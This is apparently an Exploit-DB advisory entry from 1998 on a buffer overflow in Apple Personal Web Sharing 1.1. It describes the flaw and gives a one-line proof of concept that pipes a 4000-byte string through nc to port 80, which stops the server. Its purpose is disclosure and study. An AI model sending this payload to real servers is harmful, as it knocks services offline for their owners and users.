Apple Personal Web Sharing 1.1 Vulnerability

1998-04-10T00:00:00
ID EDB-ID:19076
Type exploitdb
Reporter Netstat Webmaster
Modified 1998-04-10T00:00:00

Description

Apple Personal Web Sharing 1.1 Vulnerability. Remote exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/84/info

There appears to be a buffer overflow in Apple's Personal Web Sharing 1.1. If you connect to its TCP port number 80 and send it a string over three thousand bytes long followed by two return characters Personal Web Sharing
will stop servicing request.

$ echo `perl -e 'print "A"x4000 . "\n\n"'` | nc target.host.com 80